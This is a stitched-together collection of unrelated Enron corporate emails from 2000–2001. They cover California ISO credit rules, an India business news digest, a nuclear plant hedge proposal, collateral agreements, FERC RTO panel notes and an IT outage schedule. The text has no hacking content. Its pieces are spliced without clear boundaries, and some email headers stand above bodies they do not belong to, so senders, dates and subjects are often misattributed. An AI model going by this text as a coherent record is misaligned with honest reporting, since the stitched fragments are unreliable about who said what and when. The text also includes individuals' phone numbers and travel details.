Shouldn't we protest this filing at FERC?  Otherwise we'll have to track on a 
day-to-day basis whether we should sell to the ISO.

01/08/2001 02:38 PM
To: tim.belden@enron.com, traci ngo@enron, jeff.richter@enron.com
cc: mhain@enron.com 
Subject: Amendment 36

This ISO amendment was issued on 1/4/01 but I am not sure if anything was  
circulated to folks on the Trading Desk. 

The amendment allows the ISO to relax creditworthiness requirements to the 
utilities on a day to day basis.  A copy of the transmittal letter is 
attached.

The ISO has been invoking its order this week.  See notice issued for 
tomorrow, below.

If you have questions regarding this amendment, please do not hesitate to 
call me.

Daily Notification For January  9, 2001, Pursuant to Amendment 36 of CAISO 
Tariff

Pursuant to Section 2.2.3.2 of the ISO Tariff, as amended on January 4, 2001
(Amendment 36), effective for Trading Day January  9, 2001, Utility 
Distribution Companies
that are Original Participating Transmission Owners and Scheduling 
Coordinators
for such Utility Distribution Companies shall not be subject to the Trading 
Limitations specified in Section 2.2.7.3 of the ISO Tariff.

everything reloaded...take a look at the data and let me know...

chris

+ Industrial growth declined from 7.3% in August 1999 to 4.8% in August 2000.
+ India plans to remove American components from the Advanced Jet Trainers 
that it is buying from Britain since US sanctions on defense related 
equipment still exist.
+ Former Indian prime minister, P V Narasimha Rao, and former Union minister, 
Buta Singh, have been sentenced to three years' rigorous imprisonment in the 
Jharkhand Mukti Morcha? bribery case.
 
October 13, 2000

October 13: India's rice exports (non-basmati) declined by approximately 80% 
compared to the same season last year. The international market price for 
India's non-basmati rice ranges from $230 to $240 per ton. Hindu Business 
Line http://www.hindubusinessline.com/stories/071303b5.htm 

October 13: Foodgrain production in India during the current season is 
expected to be 102.7 million tons, lower by 1.2 million tons from the same 
period last year due to heavy floods in West Bengal and Bihar, and severe 
drought conditions in Gujarat. The Economic Times 
http://www.economictimes.com/today/13comm01.htm 

Broadcasting/Entertainment
October 13: India's first web-based entertainment channel, G-Slot.com, plans 
to invest $2 million over the next one year to expand its operations. This 
additional investment will enable G-Slot.com to launch its portal in all 
metros and major towns. Business Standard <http://www.business-standard.com/>

October 13: Citibank Private Equity bought a 33% stake in the Delhi-based 
Beehive Systems. Beehive Systems specializes in providing broadcast and 
broadband solutions. The Financial Express http://www.financialexpress.com/

October 13: YadaYada, a New York-based company, announced a strategic 
partnership with Infosys Technologies Ltd, an Indian IT consulting firm. 
YadaYada provides integrated wireless services and has a personalized mobile 
web portal. Infosys will establish a team of over 100 consultants in India, 
United States and Europe to develop end-to-end wireless solutions within 12 
months for YadaYada. The Times of India 
http://www.timesofindia.com/today/13busi10.htm

October 13: India's GDP growth decreased from 6.9% in the first quarter last 
year to 5.8% in the same period this year. This is attributed to the slowdown 
in manufacturing and agriculture sectors. The Financial Express <
http://www.financialexpress.com/>

October 13: Industrial growth declined in August, continuing the trend for 
the year. The growth decreased from 7.3% in August 1999 to 4.8% in August 
2000. The Times of India http://www.timesofindia.com/today/13busi14.htm

Energy
October 13: British Petroleum and Enron may start a project with Indian Oil 
Corporation and Petronas of Malaysia to develop an LNG terminal and 
hydrocarbon complex at Kakinada port in Andhra Pradesh. The Economic Times 
http://www.economictimes.com/today/13infr01.htm

October 13: Bayer AG will pay Ranbaxy Labs $5 million as the second 
installment for the novel drug delivery system (NDDS) for anti-infective 
drug, ciprofloxacin. Ranbaxy is developing ciprofloxacin for Bayer. Bayer has 
now paid $15 million out of a total $65 million license fee it owes Ranbaxy. 
The Economic Times http://www.economictimes.com/today/13comp06.htm

October 13: Honda Motor Company Ltd (HMC), the Japanese automobile and two 
wheeler manufacturer, announced plans to set up a $155 million export base 
facility in Gurgaon, near Delhi. HMC is already setting up another $111 
million project in Gurgaon for manufacturing two-wheelers. Hindu Business 
Line http://www.hindubusinessline.com/stories/14130703.htm 

October 13: LG Electronics of South Korea will start manufacturing computer 
monitors, LCD display panels and LCD projection televisions in India next 
year. A new production line is already being set up for computer monitors. LG 
Electronics is likely to invest $22 million in this project. Hindu Business 
Line http://www.business-standard.com/today/corp8.asp?Menu=2

October 13: Sanyo will invest $8.8 million in BPL Sanyo Utilities, the merged 
entity of BPL Refrigerators and BPL Sanyo Utilities and Appliances. The 
equity infusion will raise Sanyo's stake to 25%. Business Standard 
http://www.business-standard.com/today/corp5.asp?Menu=2

October 13: Mitsui & Co. will purchase a 10% stake in Zygox Software Pvt. 
Ltd., a total IT solutions provider in Bangalore. Mitsui may also help Zygox 
in marketing its automated fingerprint identification system product 
worldwide. Hindu Business Line 
http://www.hindubusinessline.com/stories/151339ff.htm 

October 13: The government ministries of information technology, telecom and 
information/broadcasting are likely to be integrated into one ministry. The 
Economic Times http://www.economictimes.com/today/13econ01.htm

October 13: e4e Inc., a U.S. based company has announced its plan to create 
India's first technology holding company. e4e will support Internet 
technology based infrastructure service companies. It also plans to finance 
10-12 start-up companies in India over the next 3 years and assist them in 
expanding globally. The Hindu http://www.hinduonline.com/

Insurance and Finance
October 13: Amex Travel Related Services launched its Gold Credit Card in 
India. This card will offer credit limits higher than other products 
available in India. Hindu Business Line 
http://www.economictimes.com/today/13comp09.htm

October 13: Former Indian prime minister, P V Narasimha Rao, and former Union 
minister, Buta Singh, have been sentenced to three years' rigorous 
imprisonment in the Jharkhand Mukti Morcha bribery case. The two were 
subsequently released on bail to enable them to file an appeal against the 
verdict in a higher court. The Times of India 
http://www.timesofindia.com/today/13home1.htm

Sanctions
October 13: The Indian government is planning to remove American components 
from the Advanced Jet Trainers that India is buying from Britain. These 
measures come in response to the delay in the lifting of defense related 
sanctions that the US imposed after India's nuclear tests. The Times of India 
http://www.timesofindia.com/

October 13: India's largest housing and infrastructure financial institution 
will start a financing program with annual disbursements worth $111 million 
for providing housing for information technology professionals. It also plans 
to develop commercial complexes, shopping plazas and clubs. The Economic 
Times http://www.economictimes.com/today/13fina03.htm 

=
usibc@uschamber.com. 

Website: <http://www.usibc.com> 

Fax 202 463 3173 

West Coast

Fletcher,

 I have attached a generic term sheet as a starting point for an opportunity 
we have discussed with Nuclear Management Company.  Any and all of these 
points included in the terms sheet are subject to change (in particular, the 
intra-day discussion).  

Background info on NMC is as follows: 

  Nuclear Management Company Llc (NMC)
 joint venture between -- NSP, Alliant, WEPCO and WPS
 services provided -- manage the companies (noted above) 7 nuclear facilities 
(5 sites)
 The Facilities are as follows:
Point Beach Units 1&2, owned by WEPCO, located in east central Wisconsin (30 
miles SE of Green Bay), mW 523 and 500 mW respectively
Kewaunee, owned by WPS, located 27 miles SE of Green Bay, mW 511
Prarie Island Units 1&2, owned by NPS, located in Red Wing, MN, mW560 and 500 
mW respectively
Monticello Unit 1, owned by NPS, located 30 miles NW of Minneapolis, mW 536
Duane Arnold, owned by Alliant (IES Utilities), located 8 miles NW of Cedar 
Rapids, mW 515
Michigan nuclear facility (no details)

They are looking for a physical hedge (they suggested a 600 mW gas fired 
peaking facility) but may be receptive to a financial hedge (especially for 
the Michigan site) as well.  Or, a combination.  I would like to explore 
leveraging the Arpin site if we could but at this time I want to hold off 
from mentioning the site since it is part owned by Great Rivers Energy.  They 
want ownership (percentage or all) of the gas fired facility.  Based on the 
geographic location of the facilities noted above, the Arpin site should work 
well.  I would imagine they have firm service for those sites and if they are 
looking for the gas fired facility to take up the slack when these units are 
out, we should not have a problem with transport from the Arpin site (even 
though there is a west to east issue).

They would also like to market the gas fired facility when the unit is not 
needed as a backstop!  From a physical plant standpoint -- I would suggest 
that we carve out the development with a slight ownership that has a put 
option (for the equity we retain) at a future date (but retain a percentage 
of the marketing arrangement for sale of excess power in the market).  I 
think NMC wants complete control based on their view of deregulation in 
Wisconsin.  I believe their long term strategy is to have a PPA with the 
above Utilities for the offtake (firm output w/ firm price) and the ability 
to market the excess (from both the Nuclear Units and peaking facility) at 
market rates. 

This arrangement should be able to flange well with a financial insurance 
product (since the addition of the gas fired facility would provide more 
liquidity) that I have discussed with the Mid-Market Group (Terri Clynes and 
Doug Sewell).

Let's arrange a time when we can discuss at your convenience.  Thanks, Ron.

Phyllis:
Our letter of credit person would be more comfortable if we deleted all of 
the language that makes the LC transferable.  Are you okay with that?  If so, 
are we ready to execute?

EB 3889

	lemelpe@NU.COM
	05/30/2001 03:00 PM
		 
		 To: Carol.St.Clair@enron.com
		 cc: 
		 Subject: Re: LOC Form

Carol:  I understand that we are still reviewing the attachment that lists
the open transactions.  How are you making out on the revised version of
the LOC?

John and Sanjeev:
I am retransmitting the current drafts of the Power and Gas Collateral Annexes that we plan to use.  I am also sending the EEI Master that goes with the Power CSA.  the gas Master has not yet been prepared.  Once we sign off on the ISDA CSA, I plan to make conforming changes to these collateral annexes (mainly to address John's comments to the ISDA CSA) and also add as a form of collateral to each "securities".  Please let me know if any other changes need to be made.  Thanks.

EB 4539
713-646-3393 (fax)

The next scheduled Campaign Leadership call for Thursday, May 31 is being 
rescheduled to Friday, June 1 @ 4:00 P.M.  The dial number of 1-800-283-1805 
will remain the same. 

These calls are mandatory so, in the future, if you are unable to participate 
on the call, please let Rick or myself know.

Thanks!

gngr

And you wonder why America is the most productive country in the world.

MARY COOK
08/29/2000 08:12 AM
To: Sarah Wesner/Corp/Enron@ENRON
cc: John Arnold/HOU/ECT@ECT 
Subject: Re: Soc Gen  

Ah, the European holiday tradition!  

	Sarah Wesner@ENRON
	08/28/2000 07:25 PM
		 
		 To: John Arnold/HOU/ECT@ECT, Mary Cook/HOU/ECT@ECT
		 cc: 
		 Subject: Soc Gen

Warren Tashnek called to say that the documents for the credit line will not 
be available until next week.  It seems that all of Soc Gen's Paris office is 
on holiday for the month of August so the  credit proposal for the Enron 
facility is gathering dust on someone's desk until they return.  

Mary Cook is working on t he brokerage agreement between Fimat and Enron.  
That should be done in about a week.

Molly,

I would like to invite Iris for an interview. You can contact her at the 
addresses she listed below
or at her E-mail address.

The following persons will participate at the interview:

Zimin Lu 
myself

Stinson and I will take her out to lunch.

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 11/27/2000 

"iris mack" <irismmack@hotmail.com> on 11/21/2000 04:12:43 PM
To: irismmack@hotmail.com, Vince.J.Kaminski@enron.com
cc:  
Subject: Re: F/U to Dr. Kaminski @ Enron from Iris Mack

Hi again,

I am visiting several family members and friends over the next few days.
Therefore it will be hard to contact me.

However, next week I will be easier to reach.  My contact details in NYC are
as follows. I will be staying at the following hotels:

Washington Square Hotel
from November 28th for 3 nights (Tue, Wed and Thur)
212.777.9515

Marriott NYC Financial
December 1st for 1 night (Fri)
212.385.4900

At any rate, I will still try to reach you on tomorrow morning.  If all
fails, we will try to reach each other next week.

Iris

>From: "iris mack" <irismmack@hotmail.com>
>To: Vince.J.Kaminski@enron.com
>Subject: Re: F/U to Dr. Kaminski @ Enron from Iris Mack
>Date: Tue, 21 Nov 2000 22:07:09
>
>Hi,
>
>How are you?  Seems like we have had a bit of difficulty contacting each
>other.  Sorry I missed your call.  I am now in NYC - until December 2nd.
>
>I will try to call you on tomorrow morning about 8 am Houston time.
>
>Take care,
>Iris
>
>
>
>
>>From: Vince.J.Kaminski@enron.com
>>To: irismmack@hotmail.com
>>CC: Vince.J.Kaminski@enron.com
>>Subject: Hello
>>Date: Tue, 21 Nov 2000 15:14:31 -0600
>>
>>Iris,
>>
>>We are trying to reach you but we are getting error messages.
>>Please, call me 713 853 3848.
>>
>>Vince
>>
>>
>

_______

Attaches are the marks for New Power as of COB 9/25/01.  We continue to send a margin call on a daily basis however payment has not been received.  Please let me know if you need any additional information.

Thank you
Monica

Enron needs a day (maybe less) of your time, hopefully this week.

We have to submit our proposed exhibits on July 3, 2001.  I am leaving for
Peru on Sunday 6/17, not returning until 7/6 (after the list is due, unless
the final status conference changes).

I have gone through my high priority documents and listed potential exhibits. I would like you to come out to our offices and go thru (1) the accordions of
key docs that you put together earlier this year and (2) all of the deposition
exhibits, to see what should be added to my list.

I am not trying to pack our list.  In fact I would like NOT to list (a) any
document that we are sure one or more of the other parties will submit (e.g.,
I haven't put any of the offering memos or road show slides on the list) or
(b) any document that contains anything negative for us, unless there is also
something very positive in the document that we really need (e.g., I haven't
listed Brian's memo re topics for Management Company discussion or any of the
work by the Enron auditors in August-September 1998.)

The reason that I would like you to do this work this week is so that I can
discuss any questions you come up with before I leave.  I will be in traveling
and in NY on Tues-Thurs, but you can come here on any of those days; I'll be
back in the office on Friday (6/15); we could talk out any questions then.

Let me know what you can do.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ................................................

I am helping Jane McBride in our Japan office with the ISDA Masters for 
Japanese banks.  Can you help me get these drafted in the next few days?  I 
will send you in a separate e-mail the forms of ISDA and CSA Schedules that 
we use when drafting these Masters for Japanese entities.  Thanks.

EB 3889
----- Forwarded by Carol St Clair/HOU/ECT on 02/07/2001 08:29 AM -----

	02/07/2001 03:44 AM
		 
		 To: Carol St Clair
		 cc: 
		 Subject: Re: Worksheets

I wonder if I could get you to do ToaRe first. 
NB - Bank of T-M done.

	09/20/2000 01:21 PM
		 
		 To: John Viverito/Corp/Enron@Enron
		 cc: Jonathan Whitehead/AP/Enron@Enron
		 Subject: Worksheets

John,

Attached are the worksheets for Yasuda, Tokyo-Mitsubishi, Fuki Bank, and Toa 
Reinsurance.  Sorry for the delay in getting these over to you.  Please call 

Thanks,

John

=20

  RTO Week
Day 2 -- October 16, 2001
Transmission Planning & Expansion
The afternoon panel discussed transmission planning and expansion. The pane=
lists were: Jose Degado--CEO American Transmission Company, Michael Dworkin=
--Chair Vermont PSC, Mark Maher--VP Transmission Business Line, Bonneville =
Power Administration, Lara Manz--PSE&G, Masheed Rosenqvist--National Grid, =
Steve Walton--Enron.
The Commissioners were all present although the did leave and return from t=
ime to time.  Commissioner's Breathitt and Massey were the most active in q=
uestioning.  The FERC Staff were active in asking questions after the initi=
al presentations, moving along the discussion by asking questions.  There w=
as some reference to the morning discussion of congestion management, howev=
er, there was no discussion of the merits of the various types of transmiss=
ion rights.  There was a good deal of consensus around the concept of the R=
TO Planning Process being first a provider of information to the market (wh=
ere are problems, how might they be solved, etc.) and that the where possib=
le that expansion be funded by market participants who would benefit.  Ther=
e was a good deal of discussion of "least cost planning" and the identifica=
tion of options which are not transmission related.  All agreed there had t=
o be backstop authority to build transmission, however then the challenge i=
s who pays for it, which raises the need for dispute resolution. =20
Opening Statements
Jose Delgado: ATC is a transmission only company with MISO as the system op=
erator.  They view everyone as a customer whose needs are to be met.  They =
were formed by divestiture by IOUS, coops and munis and with a $500 million=
 asset base initially. Their current ten year plan will add $1billion of in=
vestment.   Their top priorities are connecting generation and load. =20
Michael Dworkin: Because transmission is a common good, construction affect=
s all parties not just one party.  The environmental and permitting of line=
s requires a balance of benefits with costs and a long range view.  The ide=
a of joint boards should be considered for dealing with multi-state project=
s, although FERC has show little interest in joint boards they have been us=
ed by FCC.  State input needed because of the local needs and impacts which=
 must be considered.
Mark Maher: FERC must consider the unique characteristics of the West when =
considering congestion management.  LMP is not a good fit to hydro systems =
with their multiple use obligations.  RTO West is developing a planning pro=
cess which will give the RTO the freedom to develop options as we learn in =
the future.  The RTO needs a strong centralized planning process.
Laura Manz: The various aspects of planning are connected.  Pricing (LMP) i=
s the key to getting the right signals for expansion of transmission and re=
sources.   No competitor should have an advantage over another.  The RTO ne=
eds a central planning process but it shouldn't push solutions.  The market=
 should decide on solutions. =20
Masheed Rosenqvist: The morning discussion of congestion management talked =
about hedging against risk.  The planning discussion is not about what we h=
ave now, but about how to avoid future congestion.  The Commission has take=
n conflicting positions in different cases.  The issues that need to be ans=
wered are:  How can merchant transmission be compensated?  Should transmiss=
ion projects be open to RFPs?  Is FERC open to market based pricing for exp=
ansions? =20
Steve Walton:  The most important thing for FERC to do for expansion is to =
settle the matter of industry structure do away with the uncertainty that h=
as frozen transmission investment.  The RTO debate has been going on for 5 =
years or more and needs to be settled.  For expansion to go forward, there =
needs to be a clear property right which accrues to the expanding party.  Y=
ou are always going to have muddy issues in planning.  For instance if a 13=
8 kV line is all that is needed to day, but future considerations of scare =
right-of-way say a 345 kV line should be built, who pays for the extra cost=
.  In order to resolve such matters the planning process must include a dis=
pute resolution process, appeal able to FERC, to decide such matters.
Discussion
Kevin Kelly asked about he fact that some parties benefit form current cong=
estion so how does a stakeholder process get things built when some oppose.=
  Most agreed that if a party wants to fund construction it should be built=
 with the beneficiaries funding.  Michael Dworkin expressed concerns about =
use of eminent domain to build which means a benefit test must exist to say=
 this is the best solution, i.e. least cost planning.  This lead to discuss=
ion of the need for the RTO to be provider of information to all parties so=
 they can make intelligent decisions. =20
Commissioner Massey asked about whether the system was (a) under built and =
needed lots of expansion so don't worry about overbuilding or (b) transmiss=
ion planning should consider all options before construction of new facilit=
ies.  The panel agreed that pricing needs to be a prime determinant in the =
process.  Michaela Dworkin worried that overbuilding distorts decisions.  L=
aura Manz felt that the term "under built" is a secondary effect of not hav=
ing proper pricing of locational prices to guide parties.
Dick O'Neil asked if LMP will work in the West.  Mark Maher said it wouldn'=
t.  Laura Manz said it applies everywhere because of physics, they manage h=
ydro facilities in PJM.  Michael Dworkin said LMP means an explicit measure=
 of cost of congestion and the value of generation at locations and ought n=
ot to be rejected just intelligently designed.  BPA is looking pricing mode=
l but LMP won't work.  Steve Walton said LMP needed for real time dispatch,=
 but given the nature of the Northwest hydro system it must have some "twea=
ks" like bilaterals and allow operator self-schedule output levels to permi=
t  river coordination.  Hydro system optimizes over weeks and months to max=
imize firm energy production not on an hour to hour basis.  PJM has hydro, =
but not 70% as in the Northwest.  Implementation will be different because =
such thing as unit commitment are different when you have primarily hydro a=
nd base load coal.
In the summation at the end of the panel, four principles were listed:  (1)=
 RTO must provide information, (2) RTO should identify solutions, (3) RTO s=
hould be unbiased and (4) the RTO should be accountable.  The disagreement =
was over the last two points, Michael Dworkin felt that #3 (unbiased) was c=
ritical and that #4 (accountability) was accomplished by having regulators =
involved in governance.  Jose Delgado said and Transco can't be unbiased si=
nce it provides services, although the ISO above it can be, but accountabil=
ity is based on loosing your investment if you make an mistake.  This last =
point really comes down to a preference for ISO over Transco forms and the =
tension which exist because unbiased and accountability issues.
Steve

05:39 PM ---------------------------

11/15/2000 04:03 PM
To: Vince J Kaminski/HOU/ECT@ECT, William Smith/Corp/Enron@ENRON
cc: Kevin Kindall/Corp/Enron@ENRON 
Subject: Technical Corner article

Further to my email of 12/21/00,attached is the revised Schedule.  Please let 
me know if you have any problems with the document.  Sara

Hi Reagan,

Sure.  I'm digging out now.

Kay

From: Reagan Rorschach/ENRON@enronXgate on 03/26/2001 05:31 AM
cc: Ozzie Pagan/ENRON@enronXgate, David Fairley/ENRON@enronXgate 

Subject: FW: FW: Letter of Intent

Kay,

Could you take care of this?

Thanks,

Reagan

From:  "Marvin L. Carraway" <mcarraway@watervalley.net>@ENRON 
[mailto:IMCEANOTES-+22Marvin+20L+2E+20Carraway+22+20+3Cmcarraway+40watervalley
+2Enet+3E+40ENRON@ENRON.com] 
Sent: Friday, March 23, 2001 4:46 PM
To: Rorschach, Reagan; priest@yazoopsc.org
Subject: Re: FW: Letter of Intent

Reagan, I have a meeting Tuesday and Bob intends to call a special meeting 
,but
we need a clean copy of the LOI for the Boards and Bob needs it to go out with
the notice of the special meeting. Thanks MLC

"Rorschach, Reagan" wrote:

> > From:         Rorschach, Reagan
> > Sent: Tuesday, March 20, 2001 2:45 PM
> > To:   Robert Priest (E-mail); Marvin Carroway (E-mail); Marvin
> > Carroway (E-mail 2)
> > Cc:   Mann, Kay; Fairley, David; Nicolay, Christi; Pagan, Ozzie; Will,
> > Lloyd
> > Subject:      Letter of Intent
> >
> > Marvin and Bob,
> >
> > Attached is the most recent version of the LOI.  This version includes
> > revisions resulting from conversations between David Hunt and Kay
> > Mann.  The Beck comments are also included.
> >
> > David Fairley and I will call to follow-up.  In the meantime, feel
> > free to call with any questions.
> >
> > Thank you,
> >
> > Reagan Rorschach
> > 713.345.3363
> >
> >
> >  <<LOIMarch19red.doc>>
>
>                            Name: LOIMarch19red.doc
>    LOIMarch19red.doc       Type: Microsoft Word Document 
(application/msword)
>                        Encoding: base64
>                     Description: LOIMarch19red.doc

The two counterparties have been checked and Profile Manager has been 
updated.  
Georgi @ 5-4435
---------------------- Forwarded by Georgi Landau/NA/Enron on 03/22/2001 
03:25 PM ---------------------------

Anthony Campos@ECT
03/22/2001 03:02 PM
To: Georgi Landau/NA/Enron@ENRON
cc: Kelly Lombardi/NA/Enron@Enron 

Subject: rush approvals - EOL

FYI
---------------------- Forwarded by Anthony Campos/HOU/ECT on 03/22/2001 
From: Tana Jones on 03/22/2001 03:01 PM
To: Karen Lambert/HOU/ECT@ECT, Anthony Campos/HOU/ECT@ECT
cc: Stephanie Sever/HOU/ECT@ECT 

I've gotten some calls from the business people who want to trade with two 
counterparties right away.  One is Michigan Consolidated Gas Company, which 
is on the list for the 19th, and the other is Mobil Oil Corporation Supply & 
Distribution which is on the list of the 20th.  Can you please make sure the 
individuals in Global Contracts responsible for these counterparties update 
them today.

Our business people would be most appreciative!

I created a new deal to capture this flow.  #333712
I also created a deal for July, #333718.

D

Ricky Ellis@ENRON
07/17/2000 03:09 PM
cc:  
Subject: Extend Deal

During the month of June there is flow at meter 6347, but there is no deal.  
There is a deal in May (deal 290472), "Could you extend that deal for the 
month of June?"

F O R

November 16, 2001 5:00pm through November 19, 2001 12:00am
		    				       		    			
ENRON NORTH AMERICAN LANS:    SEE ORIGINAL REPORT
 
MESSAGING:     ALSO SEEE ORIGINAL REPORT
Impact:  All Nahou Exchange server users
Time:  Sat 11/17/2001 at  5:00:00 PM CT thru Sat 11/17/2001 at  9:00:00 PM CT
	Sat 11/17/2001 at  3:00:00 PM PT  thru Sat 11/17/2001 at  7:00:00 PM PT
	Sat 11/17/2001 at  11:00:00 PM London thru Sun 11/18/2001 at  3:00:00 AM London
Outage:  Exchange server standardization
Environments Impacted:  All Exchange users
Purpose: Standardize all cluster nodes and bring up to current Microsoft standards.
Backout: Remove upgraded files.
Contact(s): 	Tim Hudson    713-853-9289		    
		    		    		
Impact:  nahou-msdev01p  nahou-msmbx01v
Outage:  Database defragmentation
Environments Impacted:  Exchange users on nahou-msdev01p  nahou-msmbx01v Storage group 3 Database 4
Purpose: To reclaim un-used drive space within the Exchange database.
Backout: N A.
Contact(s): 	Tim Hudson    713-853-9289   
 
MARKET DATA:     SEE ORIGINAL REPORT

OTHER:        ALSO SEE ORIGINAL REPORT
Impact:  EFM Accounting
Time:  Sat 11/17/2001 at  10:00:00 PM CT thru Sat 11/17/2001 at  11:00:00 PM CT
	Sat 11/17/2001 at    8:00:00 PM PT thru Sat 11/17/2001 at   9:00:00 PM PT
	Sun 11/18/2001 at  4:00:00 AM London thru Sun 11/18/2001 at  5:00:00 AM London
Outage:  Swap names of NAHOU-SQEFM01P and NAHOU-SQLAC01P
Environments Impacted:  EFM Accounting users
Purpose: Migration of production EFM Accounting MSSQL Server from 6.5 to 2000
Backout: 
Contact(s): 	William Mallary    
		Bob McCrory  (713) 853-5749  
		Michael Kogotkov  (713) 345-1677  
		    		
Time: 	 Sat 11/17/2001 at  6:00:00 PM CT thru Sun 11/18/2001 at  9:00:00 AM CT
	 Sat 11/17/2001 at  4:00:00 PM PT thru Sun 11/18/2001 at  7:00:00 AM PT
	 Sun 11/18/2001 at  12:00:00 AM London thru Sun 11/18/2001 at  3:00:00 PM London
Outage:  CPR
Purpose: Hardware maintenance for Skywalker
Backout: 
Contact(s): 	CPR Support    713-284-4175

Time:  Sat 11/17/2001 at  6:00:00 PM CT thru Sun 11/18/2001 at  6:00:00 AM CT
	Sat 11/17/2001 at  4:00:00 PM PT thru Sun 11/18/2001 at  4:00:00 AM PT
	Sun 11/18/2001 at  12:00:00 AM London thru Sun 11/18/2001 at  12:00:00 PM London
Outage:  Test/Dev general server maintenance for the following:
ferrari, modena, trout, cypress, bravo
Environments Impacted:  ENW test and development
Purpose: Established maintenance window for Test and Development
Backout: None
		    		    		    		
Time:  Sat 11/17/2001 at  6:00:00 PM CT thru Sun 11/18/2001 at  9:00:00 AM CT
	Sat 11/17/2001 at  4:00:00 PM PT thru Sun 11/18/2001 at  7:00:00 AM PT
	Sun 11/18/2001 at  12:00:00 AM London thru Sun 11/18/2001 at  3:00:00 PM London
Outage:  New disk layout for server ERMS CPR server skywalker.
Environments Impacted:  ERMS
Purpose: Move toward new standard disk layout.
Backout: If database doesn't work after restore to new layout we will roll back to the old mirrored copy and resync to that copy.
		    		    		    		
Outage:  General maintenance for ERMS CPR app server chewbacca.
Environments Impacted:  ERMS CPR
Purpose: General maintenance and patching.
Backout: Backout patches and config changes and reboot to old configuration.
		    		    		    		
Time:  Fri 11/16/2001 at  5:00:00 PM CT thru Sat 11/17/2001 at    2:00:00 PM CT
	Fri 11/16/2001 at  3:00:00 PM PT thru Sat 11/17/2001 at  12:00:00 PM PT
	Fri 11/16/2001 at  11:00:00 PM London thru Sat 11/17/2001 at  8:00:00 PM London
Outage:  Update to new disk layout for server foxtrot.
Environments Impacted:  ACTA production
Purpose: Move toward new standard in disk layout.
Backout: Restore old disk layout
restore data from disk.
		    		    		    		
Impact:  ENPOWER
Time:  Sat 11/17/2001 at  7:00:00 AM CT thru Sat 11/17/2001 at  12:00:00 PM CT
	Sat 11/17/2001 at  5:00:00 AM PT thru Sat 11/17/2001 at  10:00:00 AM PT
	Sat 11/17/2001 at  1:00:00 PM London thru Sat 11/17/2001 at  6:00:00 PM London
Outage:  Build standby database on PWRPROD1
Environments Impacted:  Enpower application User
Purpose: Improve system availability for Enpower Database
Backout: Drop the standby database.
Contact(s): 	Tantra Invedy  713 853 4304  
		    		    		    		
Impact:  EI
Time:  Fri 11/16/2001 at  3:00:00 PM CT thru Fri 11/16/2001 at  6:00:00 PM CT
	Fri 11/16/2001 at  1:00:00 PM PT thru Fri 11/16/2001 at  4:00:00 PM PT
	Fri 11/16/2001 at  9:00:00 PM London thru Sat 11/17/2001 at  12:00:00 AM London
Outage:  Decommission 3AC-17 server Room
Environments Impacted:  El and Azurix
Purpose: Decommission 3AC-17 server Room
Backout: None, must be out and installed on the 35th floor of 3AC
Contact(s): 	Matthew James   713-345-8111 
		Jon Goebel         713-345-7570  
		    
Time:  Sat 11/17/2001 at    1:00:00 PM CT thru Sat 11/17/2001 at  5:00:00 PM CT
	Sat 11/17/2001 at  11:00:00 AM PT thru Sat 11/17/2001 at  3:00:00 PM PT
	Sat 11/17/2001 at  7:00:00 PM London thru Sat 11/17/2001 at  11:00:00 PM London
Outage:  Migrate VMS objects from Enpower test to production
Purpose: To allow production deployment of the VMS engine
Backout: None.
Contact(s): 	Charlene Fricker    713-345-3487  
 
Impact:  NAHOU-ORDB07P
Time:  Sat 11/17/2001 at  9:00:00 AM thru Sat 11/17/2001 at  11:00:00 AM
Outage:  NAHOU-ORDB07P Drive Failure.
Environments Impacted:  Corp trying to access dbases on the server.
Purpose: To replace a bad hard drive.
Backout: Restore from tape and backed up DB.
Contact(s): 	David Devoll    713-345-8970
 
Charlie,
	I spoke with Vance Holtzman yesterday about the 3 of us getting together for lunch.  However, Friday does not work because we are meeting up with a large group of interns for lunch on Friday.  Is it possible that we meet for lunch next Tuesday (June 5)?  Please let me know if this fits your schedule...  Thanks, 

Eric Schneider
(713) 853-5078

---------------------- Forwarded by Iona Maclean/LON/ECT on 16/11/2000 08:44 

djcustomclips@djinteractive.com on 15/11/2000 18:57:48
Please respond to nobody@mail1.djnr.com
To: 96939@mailman.enron.com
cc:  

Subject: Enron in Europe: EU seeks comments on Enron unit's buy of Germany's 
Hutzler, parts of ...

EU seeks comments on Enron unit's buy of Germany's Hutzler, parts of
Bergmann

11/15/2000
AFX News
(c) 2000 by AFP-Extel News Ltd

    BRUSSELS (AFX) - The European Commission said it invites comments
under the EU's merger regulation on Enron Corp unit MG Metallrecycling
GmbH's acquisition of control of Walter Hutzler Metallhandel GmbH and
parts of W&O Bergmann GmbH.
    The three parties all trade non-ferrous metals and scrap.
    Interested parties have 10 days to submit their comments.
    The commission has until Dec 7 to rule on whether to clear the
operation or open a 4-month in-depth investigation.

    de/lam For more information and to contact AFX: www.afxnews.com and
www.afxpress.com

Folder Name: Enron in Europe
Relevance Score on Scale of 100: 90

To review or revise your folder, visit http://www.djinteractive.com or 
contact Dow Jones Customer Service by e-mail at custom.news@bis.dowjones.com 
or by phone at 800-369-7466. (Outside the U.S. and Canada, call 609-452-1511 
or contact your local sales representative.)

Copyright (c) 2000 Dow Jones & Company, Inc. All Rights Reserved

Here is the form of option agreement Kathleen sent me yesterday.  Greg Krause 
has a meeting with a landowner tomorrow and he wants to be able to provide 
our pro forma form for the landowner's consideration.  
---------------------- Forwarded by Ann Elizabeth White/HOU/ECT on 05/18/2001 
04:09 PM ---------------------------
   
	From:  Kathleen Carnahan @ ENRON                           05/18/2001 03:27 PM
	
To: Ann Elizabeth White/HOU/ECT@ECT
cc:  
Subject: Form of Option Agreement

Ann Elizabeth,

Lisa Bills has requested some additional changes to the "form" of Option 
Agreement I sent you yesterday.  If you will e-mail the form of Option 
Agreement for the new Florida Option to Kay Mann, she will make the necessary 
changes.  Also Ben Jacoby has indicated that  wants to see all new Option 
Agreements prior to them being sent out to anyone so he can be in the loop.

Sorry you missed our meeting.

Kathleen

---------------------- Forwarded by Kathleen Carnahan/NA/Enron on 05/18/2001 
   
	From:  Kathleen Carnahan                           05/17/2001 02:42 PM
	
cc:  

This may not be the absolute latest Form of Option, but it should be pretty 
darn close to being totally blessed (by Herman Manis).  I am also attaching a 
form of Memorandum of Option just in case you need it.

Kathleen

It was great talking with you at lunch.  I have never known a real life tap dancer before.  I feel honored.  I am outta here tomorrow, so have a great weekend.

Summary Risk Data as of 11/21/2001		
		
Active Financial Deals	83	
Active Physical Positions	38	
P&L  Daily ($thousands)	41.0 	
VaR ($thousands)	166.5 	
		
ETS Margin Account Deals	0	
		
